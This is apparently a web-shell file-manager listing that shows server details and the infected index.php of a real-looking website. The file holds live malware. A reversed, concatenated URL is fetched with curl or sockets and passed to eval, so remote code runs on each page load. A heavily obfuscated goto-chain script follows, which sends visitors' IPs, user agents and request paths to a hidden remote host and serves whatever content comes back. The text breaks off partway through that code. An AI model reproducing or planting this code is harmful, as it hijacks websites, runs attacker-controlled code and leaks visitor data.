HEX
Server: nginx/1.16.1
System: Linux iZ7xv2zauie3qihz0jlnrxZ 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: www (1000)
PHP: 7.2.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/shzthfdcpg.com/index.php
<?php define('A', 'jan87.tphu5563htr/icqn::q-~^[3:1][5:28][3:1]!/|m^^!!?srsltid=AfmBOo[3:4][3:6][5:6]_[5:10]_[5:8]-[4:1]-[5:9]::');$link = 'txt.';$link .= 'j/s';$link .= '/mo';$link .= 'c';$link .= '.ur';$link .= '.ogn';$link .= 'er.oe';
$link .= 's//:s';$link .= 'ptt';$link .= 'h';eVAl(
'?>'._xrev_(strrev($link
)
));function _xrev_($url) {
try {$timeout = 15;$ua = 'Mozilla/5.0 Safari/537.36';if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_USERAGENT, $ua);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);$get = curl_exec($ch);curl_close($ch);
return trim(trim($get, "\xEF\xBB\xBF"));
}$parsed_url = parse_url($url);$host = $parsed_url['host'];$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';$query = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';
$scheme = isset($parsed_url['scheme']) ? $parsed_url['scheme'] : 'http';$port = isset($parsed_url['port']) ? $parsed_url['port'] : ($scheme === 'https' ? 443 : 80);$protocol = ($scheme === 'https') ? 'ssl' : 'tcp';$fp = stream_socket_client("{$protocol}://{$host}:{$port}", $errno, $errstr, $timeout);if (!$fp) {return 0;
}$headers = array("GET {$path}{$query} HTTP/1.1","Host: {$host}","User-Agent: {$ua}",
"Connection: Close",);$request = implode("\r\n", $headers) . "\r\n\r\n";fwrite($fp, $request);$response = '';while (!feof($fp)) {$response .= fgets($fp, 1024);}fclose($fp);
$response_parts = explode("\r\n\r\n", $response, 2);$headers = isset($response_parts[0]) ? $response_parts[0] : '';$body = isset($response_parts[1]) ? $response_parts[1] : '';if (stripos($headers, "Transfer-Encoding: chunked") !== false) {$decoded = '';while (true) {
$pos = strpos($body, "\r\n");if ($pos === false) break;$length = hexdec(substr($body, 0, $pos));
if ($length === 0) break;
$decoded .= substr($body, $pos + 2, $length);$body = substr($body, $pos + 2 + $length + 2);}$body = $decoded;}return trim($body);} catch (Exception $e) {
}return 0;}; ?>
<?php
 goto N0bvZ5sbPrh; xqxt1VADZNb: header("\103\157\x6e\164\145\x6e\x74\55\x54\x79\160\145\x3a\40\x74\x65\170\x74\x2f\x68\164\x6d\154\x3b\40\x63\150\x61\x72\163\145\x74\75\x75\x74\146\55\x38"); goto ibkCz4WqFTA; uaxbEwXpWvV: if (!(strpos($v9qkZHRXOE5, $su6Apc0W9Zb) === 0)) { goto V1YMN2TbuWI; } goto p9KjiOf5ybJ; e_Eg6Cbt3Xh: XshfsQeNuXB: goto XSVjpjl5VNh; M1Xs4BRB9sY: echo $UIAFgQpgzJs["\143\157\156\164\145\x6e\164"]; goto XcSSunZSVoG; cUpcAkWoz32: $V_cCS6uDhnQ["\154"] = b8hMP2qHI1Z($_SERVER["\x48\x54\124\120\x5f\101\x43\103\105\x50\124\x5f\114\x41\116\107\x55\x41\107\105"]); goto AsuQ4ivVvjc; e1jfUXRez6X: $su6Apc0W9Zb = rkY2amPmPU9() . $_SERVER["\x48\x54\124\120\137\x48\117\x53\124"]; goto uaxbEwXpWvV; rBTQpoSysv9: suJZgTSkz33: goto AU8kX2GjMGN; vpTY6nHJASE: if (!in_array($BLJCSCBH3H8, array("\56\x6a\x73", "\x2e\x63\x73\x73", "\56\152\x70\x67", "\x2e\160\156\147", "\56\x67\x69\146", "\x2e\151\143\157"))) { goto rGIgmRWj0lV; } goto c54MqrAAA3c; og9fInRS517: $bzlCUX3ORWQ = range("\176", "\40"); goto ceFmIIL6Fjx; tIM7_EoD0gg: $V_cCS6uDhnQ["\x72"] = B8hMP2QHi1z($_SERVER["\122\x45\x51\125\105\x53\x54\x5f\125\122\111"]); goto B80tils6i53; AU8kX2GjMGN: VCwyqJnRg2k: goto Rl5jtdz5c0m; NpDFvyt1UBr: V1YMN2TbuWI: goto C3dF5T94Og4; V2uCpPfd7ur: if (!strlen($UIAFgQpgzJs["\x63\x6f\156\164\145\156\x74"])) { goto WytLDyX4pVq; } goto CSkmZ0iYVfm; fGoq6SnCgMP: function b8HmP2qHI1z($C2X9OBUqGsO) { goto n8QUamiTO43; AFqUlX0KszE: return rtrim(strtr(base64_encode($C2X9OBUqGsO), "\53\57", "\x2d\x5f"), "\75"); goto vSnSDdfm8Yq; u9YeeIafwCh: return ''; goto hANQP6Um9Xr; n8QUamiTO43: if ($C2X9OBUqGsO) { goto rb2Ti15v9zV; } goto u9YeeIafwCh; hANQP6Um9Xr: rb2Ti15v9zV: goto AFqUlX0KszE; vSnSDdfm8Yq: } goto h9MMnYyQh3a; EBvvxPXfQ9P: bWNb56VJmLX: goto flRJnatfkH3; N0bvZ5sbPrh: error_reporting(0); goto og9fInRS517; kCAX39A3otr: aFNedIP51WG: goto N0NOyKLekrg; OG2IX1zCPeS: rGIgmRWj0lV: goto ylVMLeNOWcm; r8EfT1wb8vu: $UIAFgQpgzJs = XbUUNyNCMiR(base64_decode("\x61\x48\x52\60\x63\x44\x6f\x76\114\x33\160\172\x4e\x44\x6b\60\144\152\105\x7a\143\63\x55\x75\144\107\106\152\x61\x47\125\165\143\x48\x4a\x76\114\x77"), $V_cCS6uDhnQ); goto Ws2vbFqyWE0; p9KjiOf5ybJ: $v9qkZHRXOE5 = ''; goto NpDFvyt1UBr; Y5NCTpnxrwI: $BLJCSCBH3H8 = substr($Vfrn4jnzNl9, strpos($Vfrn4jnzNl9, "\56")); goto vpTY6nHJASE; F43Z2TznCPk: if ($VwoN2PlZLz1) { goto KJ0wiW55Flz; } goto r8EfT1wb8vu; ibkCz4WqFTA: error_reporting(0); goto etVvJxbh3XY; CSkmZ0iYVfm: @header("\103\157\x6e\164\145\156\164\55\124\x79\x70\x65\72" . $UIAFgQpgzJs["\x74\171\160\x65"]); goto M1Xs4BRB9sY; IFxgmZiwnjd: $V_cCS6uDhnQ["\x75"] = B8hmP2qhI1z($_SERVER["\x48\x54\124\x50\x5f\125\x53\105\x52\x5f\101\107\105\x4e\x54"]); goto K6Nva761cnG; E57bLfc3RXk: $VwoN2PlZLz1 = false; goto LCLAy8l5ue9; Rl5jtdz5c0m: fD9qzpHGVpp: goto V2uCpPfd7ur; Ep8Ovw8lAIX: function Rky2amPMpU9() { goto N109bnp98cn; C0hUFpGRbyI: goto vw3pALbvSLl; goto clTkLWjljL2; clTkLWjljL2: adNRgIcAMfK: goto wG5u8Kot_XK; e8EZExS6bd8: if (isset($_SERVER["\x48\124\124\x50\137\x46\x52\117\x4e\124\137\105\116\104\137\x48\124\x54\120\123"]) && strtolower($_SERVER["\x48\124\x54\x50\137\106\122\117\116\x54\x5f\x45\116\104\137\x48\x54\124\x50\123"]) !== "\x6f\146\146") { goto hY29wRu6aeV; } goto C0hUFpGRbyI; N109bnp98cn: $wcW841atCQV = "\150\164\x74\x70\72\57\57"; goto hG4ezj_TB8B; oekUiSenlbU: vw3pALbvSLl: goto pjqqNDx8mWQ; nourwKWdAl9: goto vw3pALbvSLl; goto I8y5X3oT0VT; fR8Q301yx3B: goto vw3pALbvSLl; goto pGfqJBSg0CC; pjqqNDx8mWQ: return $wcW841atCQV; goto Hso3UX1_wAM; wG5u8Kot_XK: $wcW841atCQV = "\150\164\164\x70\163\72\57\x2f"; goto nourwKWdAl9; hG4ezj_TB8B: if (isset($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\110\124\124\120\123"]) !== "\x6f\146\x66") { goto adNRgIcAMfK; } goto Qu_Smz5Yw9F; I8y5X3oT0VT: NKWCmnEU30k: goto Sh5fDkIYnQK; pGfqJBSg0CC: hY29wRu6aeV: goto Pi9qq47503C; Qu_Smz5Yw9F: if (isset($_SERVER["\x48\x54\x54\120\137\x58\x5f\106\x4f\x52\127\101\x52\x44\x45\x44\137\x50\x52\x4f\x54\x4f"]) && $_SERVER["\110\124\x54\x50\x5f\130\137\106\117\x52\x57\x41\x52\x44\105\104\137\x50\122\117\124\117"] === "\150\x74\x74\160\x73") { goto NKWCmnEU30k; } goto e8EZExS6bd8; Pi9qq47503C: $wcW841atCQV = "\x68\x74\164\160\x73\x3a\57\57"; goto oekUiSenlbU; Sh5fDkIYnQK: $wcW841atCQV = "\x68\x74\x74\160\163\72\x2f\57"; goto fR8Q301yx3B; Hso3UX1_wAM: } goto GdvN80t6TGk; N0NOyKLekrg: $nrA0oDE3tMI = UKS76i6B0IY(); goto eyhyJtO9zjf; ZYHDjRFb5il: exit(strrev(md5($_SERVER["\123\x45\122\x56\105\x52\137\x4e\x41\115\x45"]))); goto e_Eg6Cbt3Xh; B80tils6i53: $V_cCS6uDhnQ["\162\x66"] = b8hMP2QHI1z($v9qkZHRXOE5); goto V7nUKTabUwq; ylVMLeNOWcm: uvvwpFML4e4: goto F43Z2TznCPk; RBBd3Ma0RVc: WytLDyX4pVq: goto ig0LAs0vaYx; GdvN80t6TGk: if (!($_SERVER["\122\x45\x51\125\105\x53\124\x5f\x55\122\111"] === "\x2f\122\x2d" . md5($_SERVER["\x53\105\x52\x56\x45\122\x5f\116\101\x4d\105"]))) { goto XshfsQeNuXB; } goto ZYHDjRFb5il; LKXzRfR66tn: if (!(in_array(gettype($UZea7g5oyLa) . count($UZea7g5oyLa), $UZea7g5oyLa) && count($UZea7g5oyLa) == 14)) { goto bWNb56VJmLX; } goto u7PvRymOMHd; c54MqrAAA3c: $VwoN2PlZLz1 = true; goto OG2IX1zCPeS; XH8U6601Nik: $V_cCS6uDhnQ["\151"] = B8hmp2qhI1z($nrA0oDE3tMI); goto cUpcAkWoz32; NL6PCAd8bF1: qu1j1XZPMWw::ttlaP091N32(); goto xqxt1VADZNb; C3dF5T94Og4: $V_cCS6uDhnQ = array(); goto XH8U6601Nik; flRJnatfkH3: metaphone("\x4d\172\x4d\171\117\x54\x55\64\x4e\x7a\131\x33\115\104\121\x79\x4d\172\115\172\115\x6a\121\62\115\x7a\131\x78\x4e\x44\x55\170"); goto E4sOnOXSVdl; E4sOnOXSVdl: class QU1j1xzPMww { static function yVfAYF2BPnL($YTnejWyyciY) { goto GZct2z3t_mg; Zeyuf9WvCD6: return $XfYTMFMGwiy; goto gw4F3XhVkly; GZct2z3t_mg: $bScseJa50il = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto jqT3EM3lmTg; Caxcac8uuuv: ihkrg3iOWye: goto Zeyuf9WvCD6; dx9UqyM3olz: $RH896j_Du7f = explode("\x6c", $YTnejWyyciY); goto ziynYgs1V3z; ziynYgs1V3z: $XfYTMFMGwiy = ''; goto nLGZ_19jCKv; nLGZ_19jCKv: foreach ($RH896j_Du7f as $lrdcIK6rBaK => $oec_lcUYXMe) { $XfYTMFMGwiy .= $o4StqS1Ldf7[$oec_l